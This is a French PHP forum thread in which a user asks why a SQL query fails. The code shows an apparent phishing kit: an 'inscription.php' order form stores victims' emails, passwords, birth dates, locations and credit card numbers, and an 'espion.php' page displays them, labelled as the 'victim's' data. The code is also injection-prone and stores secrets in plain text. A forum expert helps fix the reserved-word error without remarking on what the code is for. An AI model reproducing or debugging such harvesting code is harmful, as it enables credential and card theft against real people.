IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)
Navigation

Inscrivez-vous gratuitement
pour pouvoir participer, suivre les réponses en temps réel, voter pour les messages, poser vos propres questions et recevoir la newsletter

PHP & Base de données Discussion :

Pourquoi j'ai cette erreur?


Sujet :

PHP & Base de données

  1. #1
    Membre régulier Avatar de menoulette
    Inscrit en
    Août 2009
    Messages
    320
    Détails du profil
    Informations forums :
    Inscription : Août 2009
    Messages : 320
    Points : 111
    Points
    111
    Par défaut Pourquoi j'ai cette erreur?
    Bonjour à vous tous,
    s'il vous plait je demande votre aide ,je bloque dans une erreur que je n'arrive pas à la résoudre....bon je m'explique ,j'ai deux page php une nommée inscription.php et la deuxième espion.php ,à la page d'inscription y'a un formulaire à remplir ou j'enregistre les information remplis dans une table nomé table à la page espion.php je récupère les informations ajoutées et je les affiche sur la page espion.php le problème c'est que ca me donne toujours cette erreur
    par exemple si j'entre une adresse quelconque ca m'affiche
    Erreur de syntaxe près de 'table WHERE email='moi@hotmail.com'' à la ligne 1
    Les voici les deux codes sources:
    page inscription.php
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
     
     
    <?php
    	if(isset ($_POST['submit']) AND isset($_POST['email']))
        {
          	  $mail=$_POST['email'];
     
                   mysql_connect("localhost", "root", "");// avec les paramètres localhost
            mysql_select_db("espion")or die("cannot to select db");// avec les paramètres localhost
            $result = mysql_query("INSERT INTO `table` (`email` ,`sexe` ,`date_naissance`,`mot_de_passe` ,`pays`  ,`ville` ,`quantite` ,`montant`,`cartecredit` )
    VALUES (  '".$_POST['email']."','".$_POST['sexe']."', '".$_POST['part3']."-".$_POST['part2']."-".$_POST['part1']."', '".$_POST['password']."',  '".$_POST['forumurl']."', '".$_POST['geo']."', '".$_POST['quantite']."', '".$_POST['montant']."','".$_POST['carte']."')") or die("error");
     
    }
     
     
     
    ?>
    <form name="form" method="POST" action="espion.php" ">
    <!-- ici y'a les differents input à mettre -->
     <input value=" Comander le maintenant...'" type="submit" name="submit">


    Pour la page espion.php qui me cause le problème

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
     
    <?php 
     mysql_connect("localhost","root","");
     mysql_select_db("espion")or die("can not selecte db");;
      if(isset($_POST['email'])){echo'<BR><FONT COLOR=RED>ADRESSE E-MAIL DE LA VICTIME:</FONT COLOR>'.$_POST['email'];
           	$req=mysql_query("SELECT * FROM table WHERE email='".$_POST['email']."'") or die( mysql_error()); 
    	$repo=mysql_fetch_array($req);
    			if($repo['sexe']=="m"){
    	echo ' 
    	<BR><FONT COLOR=RED>SEXE:</FONT> masculin';}
    	else{  echo ' 
    	<BR><FONT COLOR=RED>SEXE:</FONT> féminin';}
     
    	echo'<BR><FONT COLOR=RED>LA DATE DE NAISSANCE DE LA VICTIME:</FONT COLOR>'.$repo['date_naissance'];
    	echo'<BR><FONT COLOR=RED>LE MOT DE PASSE DE LA VICTIME:</FONT COLOR>'.$repo['mot_de_passe'];
    	echo'<BR><FONT COLOR=RED>LOCALISATION DE LA VICTIME:</FONT COLOR>'.$repo['pays'];
    	echo'<BR><FONT COLOR=RED>LA VILLE OU SE TROUVE LA VICTIME:</FONT COLOR>'.$repo['ville'];
    	echo'<BR><FONT COLOR=RED>LE NUMERO DE CARTE DE CREDIT DE LA VICTIME : </FONT COLOR>'.$repo['cartecredit'];}
    ?>
    SVP aidez moi à trouver le problème j'attends vos réponses
    Merci

  2. #2
    Expert éminent sénior

    Profil pro
    Inscrit en
    Juin 2002
    Messages
    6 152
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Juin 2002
    Messages : 6 152
    Points : 17 778
    Points
    17 778
    Par défaut
    table est un mot-clé réservé. Il faudrait en changer le nom de celle-ci ou alors le backticker (`) comme vous l'avez fait précédemment lors du INSERT.

  3. #3
    Membre régulier Avatar de menoulette
    Inscrit en
    Août 2009
    Messages
    320
    Détails du profil
    Informations forums :
    Inscription : Août 2009
    Messages : 320
    Points : 111
    Points
    111
    Par défaut
    Re
    En changeant le nom de la table ca marche ,mais le problème c'est que à la page espion.php ca m'affiche que l'@ email et le sexe les autre rien du tout

  4. #4
    Expert éminent sénior

    Profil pro
    Inscrit en
    Juin 2002
    Messages
    6 152
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Juin 2002
    Messages : 6 152
    Points : 17 778
    Points
    17 778
    Par défaut
    Les autres champs sont vides en base ?

    Vous développez bien avec les notices activées (error_reporting à E_ALL) et aucune erreur ne vous est reportée de type "index ou variable non défini" (sur inscription.php puis espion.php) ?

    Le code HTML est un peu bancal (</font color> => </font>), le navigateur pourrait aussi ne pas apprécier ...

  5. #5
    Membre régulier Avatar de menoulette
    Inscrit en
    Août 2009
    Messages
    320
    Détails du profil
    Informations forums :
    Inscription : Août 2009
    Messages : 320
    Points : 111
    Points
    111
    Par défaut
    oh c bon merci monsieur j'ai pu trouver une méthode mieu d'utiliser les bases de données pour récupérer les données merci beaucoupp

Discussions similaires

  1. Réponses: 5
    Dernier message: 15/04/2010, 17h17
  2. [Formulaire ]: pourquoi j'ai cette erreur?!
    Par said2n dans le forum IHM
    Réponses: 1
    Dernier message: 06/07/2008, 19h17
  3. Pourquoi cette erreur ?
    Par Switche dans le forum Caml
    Réponses: 6
    Dernier message: 24/10/2007, 18h49
  4. Je ne comprends pas pourquoi cette erreur
    Par amine_en_france dans le forum AWT/Swing
    Réponses: 1
    Dernier message: 09/06/2007, 22h09
  5. [C#]Pourquoi cette erreur à la suppression d'un repertoire ?
    Par prince_antonio dans le forum ASP.NET
    Réponses: 2
    Dernier message: 20/07/2006, 17h47

Partager

Partager
  • Envoyer la discussion sur Viadeo
  • Envoyer la discussion sur Twitter
  • Envoyer la discussion sur Google
  • Envoyer la discussion sur Facebook
  • Envoyer la discussion sur Digg
  • Envoyer la discussion sur Delicious
  • Envoyer la discussion sur MySpace
  • Envoyer la discussion sur Yahoo